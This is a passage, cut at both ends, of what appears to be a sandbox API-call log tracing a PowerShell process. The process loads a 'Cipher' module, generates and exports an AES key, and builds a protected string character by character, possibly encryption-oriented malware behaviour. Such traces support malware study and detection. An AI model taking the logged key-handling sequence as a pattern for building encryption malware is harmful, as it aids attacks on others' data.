lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.042] CloseHandle (hObject=0x764) returned 1 [0138.044] GetConsoleOutputCP () returned 0x1b5 [0138.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.044] GetConsoleOutputCP () returned 0x1b5 [0138.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.045] GetConsoleOutputCP () returned 0x1b5 [0138.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.045] GetConsoleOutputCP () returned 0x1b5 [0138.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.045] GetConsoleOutputCP () returned 0x1b5 [0138.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.046] GetConsoleOutputCP () returned 0x1b5 [0138.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.046] GetConsoleOutputCP () returned 0x1b5 [0138.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.046] GetConsoleOutputCP () returned 0x1b5 [0138.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.047] GetConsoleOutputCP () returned 0x1b5 [0138.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.047] GetConsoleOutputCP () returned 0x1b5 [0138.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.047] GetConsoleOutputCP () returned 0x1b5 [0138.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.047] GetConsoleOutputCP () returned 0x1b5 [0138.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.048] GetConsoleOutputCP () returned 0x1b5 [0138.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.048] GetConsoleOutputCP () returned 0x1b5 [0138.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.048] GetConsoleOutputCP () returned 0x1b5 [0138.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.049] GetConsoleOutputCP () returned 0x1b5 [0138.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.049] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.049] GetConsoleOutputCP () returned 0x1b5 [0138.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.050] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.050] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6957fa4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6957fa4*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.050] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.050] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.055] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.055] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.055] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.055] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.057] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0138.058] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84d38) returned 1 [0138.058] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.058] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.058] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6961b98, pdwDataLen=0x99ae894 | out: pbData=0x6961b98*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.058] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1b28\x696\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0138.058] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.058] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.058] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.059] SysStringLen (param_1="") returned 0x8 [0138.059] SysStringLen (param_1="9") returned 0x8 [0138.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.059] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0138.059] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0138.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.059] SysStringLen (param_1="9s") returned 0x8 [0138.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.059] SysStringLen (param_1="\x5cdc\x63cd\xb22d\x892e\x1e56\x6c6f\x8d12\x7601") returned 0x8 [0138.059] SysStringLen (param_1="\x5cdc\x63cd\xb22d\x892e\x1e56\x6c6f\x8d12\x7601") returned 0x8 [0138.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.059] SysStringLen (param_1="9sW") returned 0x8 [0138.059] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.059] SysStringLen (param_1="\x73e6\xe036\xf69e\x121d\x3861\xc314\xf852\xb46c") returned 0x8 [0138.059] SysStringLen (param_1="\x73e6\xe036\xf69e\x121d\x3861\xc314\xf852\xb46c") returned 0x8 [0138.059] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="9sWt") returned 0x8 [0138.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="\x6823\x57d9\x264b\x3f72\x992f\x5a6e\xc026\xc8ff") returned 0x8 [0138.060] SysStringLen (param_1="\x6823\x57d9\x264b\x3f72\x992f\x5a6e\xc026\xc8ff") returned 0x8 [0138.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="9sWth") returned 0x8 [0138.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="\xc63b\x990b\xeac3\x4ce6\x6fdb\x796\xd908\xa6ea") returned 0x8 [0138.060] SysStringLen (param_1="\xc63b\x990b\xeac3\x4ce6\x6fdb\x796\xd908\xa6ea") returned 0x8 [0138.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="9sWth6") returned 0x8 [0138.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="\x7795\x224c\x300e\xcf64\x6d86\x3552\xfe5a\xb5f7") returned 0x8 [0138.060] SysStringLen (param_1="\x7795\x224c\x300e\xcf64\x6d86\x3552\xfe5a\xb5f7") returned 0x8 [0138.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="9sWth62") returned 0x8 [0138.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="\xc0ab\x60e\x416e\x64b7\x8baa\xae06\x420a\xc671") returned 0x8 [0138.060] SysStringLen (param_1="\xc0ab\x60e\x416e\x64b7\x8baa\xae06\x420a\xc671") returned 0x8 [0138.060] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.060] SysStringLen (param_1="9sWth62n") returned 0x8 [0138.060] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d") returned 0x8 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d") returned 0x8 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d") returned 0x8 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d") returned 0x10 [0138.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="9sWth62nd曮㜐즶ꋮ䥞") returned 0x10 [0138.061] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x8a6c\x26e\xbc36\x940a\x4323\xb288\x1122\xaa0f") returned 0x10 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x8a6c\x26e\xbc36\x940a\x4323\xb288\x1122\xaa0f") returned 0x10 [0138.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="9sWth62ndC㜐즶ꋮ䥞") returned 0x10 [0138.061] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xe7e7\xccf1\x262f\x9c2b\x35bd\xae20\x12d0\xae44") returned 0x10 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xe7e7\xccf1\x262f\x9c2b\x35bd\xae20\x12d0\xae44") returned 0x10 [0138.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="9sWth62ndC3즶ꋮ䥞") returned 0x10 [0138.061] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xa302\x3339\x552f\x634b\xe928\x6bd9\xb388\x4aa9") returned 0x10 [0138.061] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xa302\x3339\x552f\x634b\xe928\x6bd9\xb388\x4aa9") returned 0x10 [0138.061] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.061] SysStringLen (param_1="9sWth62ndC36즶ꋮ䥞") returned 0x10 [0138.061] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xb851\x3c85\xd02f\x87ed\xf40d\x7ee8\xf09a\xbe3f") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xb851\x3c85\xd02f\x87ed\xf40d\x7ee8\xf09a\xbe3f") returned 0x10 [0138.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="9sWth62ndC36kꋮ䥞") returned 0x10 [0138.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x7478\x4ddd\xfa83\xce98\x507d\xbf11\x2a7a\xdb4e") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x7478\x4ddd\xfa83\xce98\x507d\xbf11\x2a7a\xdb4e") returned 0x10 [0138.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="9sWth62ndC36k+ꋮ䥞") returned 0x10 [0138.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x9a92\x7e31\x4e4\xb7c3\xd36f\xeb97\x1c7c\x3d11") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x9a92\x7e31\x4e4\xb7c3\xd36f\xeb97\x1c7c\x3d11") returned 0x10 [0138.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="9sWth62ndC36k++䥞") returned 0x10 [0138.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x5742\x38b5\xa52d\xe0e6\x7f17\x2cb2\xf81c\x697f") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\x5742\x38b5\xa52d\xe0e6\x7f17\x2cb2\xf81c\x697f") returned 0x10 [0138.062] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="9sWth62ndC36k++4") returned 0x10 [0138.062] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913") returned 0x10 [0138.062] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913") returned 0x10 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913") returned 0x18 [0138.063] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="9sWth62ndC36k++49׼␬잵᎔桯姀") returned 0x18 [0138.063] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x653e\xa22d\x8c85\xf2b4\x9eb6\xc9a\xd3b2\x20a9") returned 0x18 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x653e\xa22d\x8c85\xf2b4\x9eb6\xc9a\xd3b2\x20a9") returned 0x18 [0138.063] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="9sWth62ndC36k++49k␬잵᎔桯姀") returned 0x18 [0138.063] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xae65\x518f\xea5f\x302f\x3bc7\x231e\xf5e9\x138e") returned 0x18 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xae65\x518f\xea5f\x302f\x3bc7\x231e\xf5e9\x138e") returned 0x18 [0138.063] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="9sWth62ndC36k++49kq잵᎔桯姀") returned 0x18 [0138.063] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xe3d2\xcc89\x9b1b\xe7cc\x5f20\x3891\xf3cc\x4f8a") returned 0x18 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xe3d2\xcc89\x9b1b\xe7cc\x5f20\x3891\xf3cc\x4f8a") returned 0x18 [0138.063] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="9sWth62ndC36k++49kqj᎔桯姀") returned 0x18 [0138.063] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x34cf\x758c\x845f\x1f33\xaa04\xd014\xb0c5\xfe1") returned 0x18 [0138.063] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x34cf\x758c\x845f\x1f33\xaa04\xd014\xb0c5\xfe1") returned 0x18 [0138.063] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.063] SysStringLen (param_1="9sWth62ndC36k++49kqjG᎔桯姀") returned 0x18 [0138.063] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x549b\xad1a\x5516\x6bf8\xe577\x119\x548f\x1980") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x549b\xad1a\x5516\x6bf8\xe577\x119\x548f\x1980") returned 0x18 [0138.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="9sWth62ndC36k++49kqjGh桯姀") returned 0x18 [0138.064] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen 